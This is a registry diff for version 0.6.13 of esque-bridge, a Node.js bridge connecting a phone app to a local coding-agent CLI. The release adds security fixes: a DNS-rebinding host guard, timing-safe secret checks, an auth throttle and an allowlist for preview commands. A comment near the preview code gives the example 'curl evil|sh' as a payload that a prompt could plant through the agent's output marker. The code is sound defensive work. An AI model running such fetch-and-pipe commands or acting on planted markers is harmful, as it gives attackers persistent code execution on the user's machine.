esque-bridge 0.6.12 → 0.6.13
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +121 -18
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -116,6 +116,9 @@ function resolvePairingSecret() {
|
|
|
116
116
|
const secret = gen();
|
|
117
117
|
try {
|
|
118
118
|
fs.writeFileSync(SECRET_FILE, secret, { mode: 0o600 });
|
|
119
|
+
// Re-assert perms explicitly (writeFileSync mode is masked by umask, and a
|
|
120
|
+
// pre-existing file keeps its old perms) — this is an RCE-grade secret.
|
|
121
|
+
try { fs.chmodSync(SECRET_FILE, 0o600); } catch { /* best effort */ }
|
|
119
122
|
} catch (err) {
|
|
120
123
|
console.warn(
|
|
121
124
|
`[esque-bridge] could not persist pair secret to ${SECRET_FILE} ` +
|
|
@@ -555,10 +558,77 @@ app.use((req, res, next) => {
|
|
|
555
558
|
next();
|
|
556
559
|
});
|
|
557
560
|
|
|
561
|
+
// The current public tunnel host, set once the pair tunnel opens (see main).
|
|
562
|
+
let currentTunnelHost = null;
|
|
563
|
+
|
|
564
|
+
// DNS-rebinding guard. Legit traffic arrives either at localhost (local dev) or
|
|
565
|
+
// via the cloudflared/localtunnel host; a malicious web page that rebinds its
|
|
566
|
+
// OWN domain to 127.0.0.1:<port> cannot forge a matching Host header, so this
|
|
567
|
+
// blocks it from reaching even the unauthenticated probes (which would
|
|
568
|
+
// otherwise disclose the workdir folder name etc.).
|
|
569
|
+
const LOCAL_HOST_RE = /^(localhost|127\.0\.0\.1|\[::1\])(:\d+)?$/i;
|
|
570
|
+
const TUNNEL_HOST_RE = /\.(trycloudflare\.com|loca\.lt)(:\d+)?$/i;
|
|
571
|
+
app.use((req, res, next) => {
|
|
572
|
+
const host = String(req.headers.host || '');
|
|
573
|
+
if (
|
|
574
|
+
LOCAL_HOST_RE.test(host) ||
|
|
575
|
+
TUNNEL_HOST_RE.test(host) ||
|
|
576
|
+
(currentTunnelHost && host === currentTunnelHost)
|
|
577
|
+
) {
|
|
578
|
+
return next();
|
|
579
|
+
}
|
|
580
|
+
return res.status(403).json({ error: 'forbidden_host' });
|
|
581
|
+
});
|
|
582
|
+
|
|
583
|
+
// Real client IP behind the tunnel (cloudflared/localtunnel forward it) so the
|
|
584
|
+
// auth throttle is per-attacker, not global (which an attacker could otherwise
|
|
585
|
+
// abuse to lock out the legit phone).
|
|
586
|
+
function clientIp(req) {
|
|
587
|
+
return (
|
|
588
|
+
req.headers['cf-connecting-ip'] ||
|
|
589
|
+
String(req.headers['x-forwarded-for'] || '').split(',')[0].trim() ||
|
|
590
|
+
req.ip ||
|
|
591
|
+
req.socket?.remoteAddress ||
|
|
592
|
+
'unknown'
|
|
593
|
+
);
|
|
594
|
+
}
|
|
595
|
+
|
|
596
|
+
// Constant-time secret check (avoid a string-compare timing side-channel — the
|
|
597
|
+
// secret is the only thing standing between the public tunnel and your shell).
|
|
598
|
+
function secretMatches(provided) {
|
|
599
|
+
if (typeof provided !== 'string' || provided.length === 0) return false;
|
|
600
|
+
const a = Buffer.from(provided);
|
|
601
|
+
const b = Buffer.from(PAIRING_SECRET);
|
|
602
|
+
return a.length === b.length && crypto.timingSafeEqual(a, b);
|
|
603
|
+
}
|
|
604
|
+
|
|
605
|
+
// Per-IP failed-auth throttle: 128-bit secrets are infeasible to brute force,
|
|
606
|
+
// but a lockout makes that hold even if the entropy ever drops, and stops a
|
|
607
|
+
// noisy guesser hammering the bridge.
|
|
608
|
+
const authFails = new Map();
|
|
609
|
+
const AUTH_FAIL_MAX = 20;
|
|
610
|
+
const AUTH_FAIL_WINDOW = 60_000;
|
|
611
|
+
function authThrottled(ip) {
|
|
612
|
+
const now = Date.now();
|
|
613
|
+
const e = authFails.get(ip);
|
|
614
|
+
return !!e && e.resetAt > now && e.n >= AUTH_FAIL_MAX;
|
|
615
|
+
}
|
|
616
|
+
function noteAuthFail(ip) {
|
|
617
|
+
const now = Date.now();
|
|
618
|
+
if (authFails.size > 5000) for (const [k, v] of authFails) if (v.resetAt <= now) authFails.delete(k);
|
|
619
|
+
const e = authFails.get(ip);
|
|
620
|
+
if (!e || e.resetAt <= now) authFails.set(ip, { n: 1, resetAt: now + AUTH_FAIL_WINDOW });
|
|
621
|
+
else e.n += 1;
|
|
622
|
+
}
|
|
623
|
+
|
|
558
624
|
// Directory identity the app binds a project to. Lets the phone detect when a
|
|
559
|
-
// project is being re-pointed at a DIFFERENT folder
|
|
560
|
-
//
|
|
561
|
-
|
|
625
|
+
// project is being re-pointed at a DIFFERENT folder. UNAUTHENTICATED callers
|
|
626
|
+
// get only the folder NAME + version — never the absolute path (it leaks the OS
|
|
627
|
+
// username) or the directory contents.
|
|
628
|
+
function workdirInfo(authed) {
|
|
629
|
+
if (!authed) {
|
|
630
|
+
return { workdirName: path.basename(WORKDIR), version: BRIDGE_VERSION };
|
|
631
|
+
}
|
|
562
632
|
let empty = false;
|
|
563
633
|
let git = false;
|
|
564
634
|
let entries = -1;
|
|
@@ -576,42 +646,42 @@ function workdirInfo() {
|
|
|
576
646
|
empty,
|
|
577
647
|
git,
|
|
578
648
|
entries,
|
|
579
|
-
// Lets the app detect a stale bridge and say "restart your bridge"
|
|
580
|
-
// instead of silently degrading (older bridges lack newer self-healing).
|
|
581
649
|
version: BRIDGE_VERSION,
|
|
582
650
|
};
|
|
583
651
|
}
|
|
584
652
|
|
|
585
|
-
// Public health probe.
|
|
653
|
+
// Public health probe — minimal, unauthenticated.
|
|
586
654
|
app.get('/', (_req, res) => {
|
|
587
655
|
res.json({
|
|
588
656
|
ok: true,
|
|
589
657
|
service: 'esque-bridge',
|
|
590
658
|
agent: AGENT_TYPE,
|
|
591
659
|
agentLabel: adapter.label,
|
|
592
|
-
|
|
593
|
-
...workdirInfo(),
|
|
660
|
+
...workdirInfo(false),
|
|
594
661
|
});
|
|
595
662
|
});
|
|
596
663
|
|
|
597
|
-
// Connection-test probe — no auth required to confirm reachability, but if
|
|
598
|
-
//
|
|
599
|
-
//
|
|
600
|
-
//
|
|
601
|
-
// null (no secret sent — older app builds; we can't say either way). We also
|
|
602
|
-
// return workdir identity so the app can warn on a folder mismatch.
|
|
664
|
+
// Connection-test probe — no auth required to confirm reachability, but if the
|
|
665
|
+
// phone includes the pair secret we validate it and report `paired` so the app
|
|
666
|
+
// can verify BEFORE showing green. Full workdir identity (path, git, entries)
|
|
667
|
+
// is returned ONLY when the secret matches (paired === true).
|
|
603
668
|
app.post('/', (req, res, next) => {
|
|
604
669
|
if (req.body && req.body._probe === true) {
|
|
605
670
|
const provided = req.header('x-esque-pair') || req.body?.pairSecret;
|
|
606
|
-
const paired = provided == null ? null : provided
|
|
607
|
-
return res.json({ ok: true, service: 'esque-bridge', agent: AGENT_TYPE, paired, ...workdirInfo() });
|
|
671
|
+
const paired = provided == null ? null : secretMatches(provided);
|
|
672
|
+
return res.json({ ok: true, service: 'esque-bridge', agent: AGENT_TYPE, paired, ...workdirInfo(paired === true) });
|
|
608
673
|
}
|
|
609
674
|
return next();
|
|
610
675
|
});
|
|
611
676
|
|
|
612
677
|
function requireAuth(req, res, next) {
|
|
678
|
+
const ip = clientIp(req);
|
|
679
|
+
if (authThrottled(ip)) {
|
|
680
|
+
return res.status(429).json({ text: 'Too many attempts — wait a minute and try again.', status: 'blocked' });
|
|
681
|
+
}
|
|
613
682
|
const provided = req.header('x-esque-pair') || req.body?.pairSecret;
|
|
614
|
-
if (provided
|
|
683
|
+
if (!secretMatches(provided)) {
|
|
684
|
+
noteAuthFail(ip);
|
|
615
685
|
return res.status(401).json({
|
|
616
686
|
text:
|
|
617
687
|
'Unauthorized. Pair this bridge with your phone by scanning the QR code from the terminal where esque-bridge is running.',
|
|
@@ -644,7 +714,30 @@ let preview = null; // { port, proc, kind, url, tunnel, tunnelProc }
|
|
|
644
714
|
// revive the dev server + mint a fresh tunnel — the phone then resolves the
|
|
645
715
|
// current URL via GET /preview instead of trusting the dead one.
|
|
646
716
|
const PREVIEWS_FILE = path.join(os.homedir(), '.esque-bridge-previews.json');
|
|
717
|
+
|
|
718
|
+
// SECURITY: the preview command comes from the agent's reply (the ESQUE_PREVIEW
|
|
719
|
+
// marker) and is run via `sh -c` — and persisted + auto-replayed on every
|
|
720
|
+
// restart. Without a guard, a single prompt could plant
|
|
721
|
+
// `ESQUE_PREVIEW: curl evil|sh` as a persistent, headless RCE. So we only ever
|
|
722
|
+
// run/persist a command that looks like a real dev-server start: each
|
|
723
|
+
// `&&`-separated step must begin with an allowlisted tool, and the whole
|
|
724
|
+
// string must be free of pipes, redirects, sequencing, subshells, and command
|
|
725
|
+
// substitution (we DO allow `&&` chaining and flags). This bounds it to the
|
|
726
|
+
// shapes the blueprints actually emit (npm/npx expo/next/vite) and rejects the
|
|
727
|
+
// arbitrary-shell case.
|
|
728
|
+
const PREVIEW_TOOL = /^(npm|npx|yarn|pnpm|bun|expo|next|vite|node)(\s|$)/;
|
|
729
|
+
function isSafePreviewCmd(cmd) {
|
|
730
|
+
if (typeof cmd !== 'string' || cmd.length === 0 || cmd.length > 400) return false;
|
|
731
|
+
if (/[\n\r;`|<>]/.test(cmd)) return false; // sequencing/pipe/redirect/backtick
|
|
732
|
+
if (/\$\(|\$\{/.test(cmd)) return false; // command/var substitution
|
|
733
|
+
if (/(^|[^&])&($|[^&])/.test(cmd)) return false; // a lone & (background); && is allowed
|
|
734
|
+
const steps = cmd.split('&&').map((s) => s.trim()).filter(Boolean);
|
|
735
|
+
if (steps.length === 0 || steps.length > 6) return false;
|
|
736
|
+
return steps.every((s) => PREVIEW_TOOL.test(s));
|
|
737
|
+
}
|
|
738
|
+
|
|
647
739
|
function savePreviewCmd(cmd, port) {
|
|
740
|
+
if (!isSafePreviewCmd(cmd)) return; // never persist an un-vettable command
|
|
648
741
|
try {
|
|
649
742
|
let all = {};
|
|
650
743
|
try { all = JSON.parse(fs.readFileSync(PREVIEWS_FILE, 'utf8')); } catch { /* first run */ }
|
|
@@ -658,7 +751,9 @@ function loadPreviewCmd() {
|
|
|
658
751
|
try {
|
|
659
752
|
const all = JSON.parse(fs.readFileSync(PREVIEWS_FILE, 'utf8'));
|
|
660
753
|
const e = all[WORKDIR];
|
|
661
|
-
|
|
754
|
+
// Re-validate on read too — a hand-edited or pre-guard previews file must
|
|
755
|
+
// not auto-replay something unsafe on boot.
|
|
756
|
+
if (e && isSafePreviewCmd(e.cmd) && Number.isInteger(e.port)) return e;
|
|
662
757
|
} catch { /* none saved */ }
|
|
663
758
|
return null;
|
|
664
759
|
}
|
|
@@ -944,6 +1039,12 @@ async function ensureDeps() {
|
|
|
944
1039
|
|
|
945
1040
|
async function startPreview(cmd, port) {
|
|
946
1041
|
killPreview();
|
|
1042
|
+
// SECURITY: refuse any preview command that isn't a recognizable dev-server
|
|
1043
|
+
// start (see isSafePreviewCmd) — never hand arbitrary shell to `sh -c`.
|
|
1044
|
+
if (!isSafePreviewCmd(cmd)) {
|
|
1045
|
+
console.error(`[preview] refused unsafe preview command: ${String(cmd).slice(0, 120)}`);
|
|
1046
|
+
return { url: null, buildError: 'Esque only runs a recognized dev-server start command for the preview (npm/expo/next/vite). The requested command was refused for safety.' };
|
|
1047
|
+
}
|
|
947
1048
|
// Make sure node_modules exists before the dev server tries to boot. A
|
|
948
1049
|
// failed install IS the build error — surface the npm cause to the phone
|
|
949
1050
|
// (and the auto-fix loop, which can repair package.json) instead of letting
|
|
@@ -1454,6 +1555,8 @@ async function main() {
|
|
|
1454
1555
|
if (tunnel.kind === 'localtunnel') {
|
|
1455
1556
|
console.log(' (Using localtunnel — install cloudflared for a faster, steadier tunnel: brew install cloudflared)');
|
|
1456
1557
|
}
|
|
1558
|
+
// Allow this tunnel's host through the DNS-rebinding guard.
|
|
1559
|
+
try { currentTunnelHost = new URL(tunnel.url).host; } catch { /* keep null */ }
|
|
1457
1560
|
|
|
1458
1561
|
const pairUrl = `esque://pair?url=${encodeURIComponent(tunnel.url)}&secret=${PAIRING_SECRET}&agent=${AGENT_TYPE}`;
|
|
1459
1562
|
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "esque-bridge",
|
|
3
|
-
"version": "0.6.
|
|
3
|
+
"version": "0.6.13",
|
|
4
4
|
"description": "Desktop-side receiver for the Esque Agent mobile app. Pairs your phone with a local coding-agent CLI (Claude Code, Codex, Aider, or any custom command) via a tunnel + QR code, so prompts run through your subscription instead of per-token API billing.",
|
|
5
5
|
"bin": {
|
|
6
6
|
"esque-bridge": "index.js"
|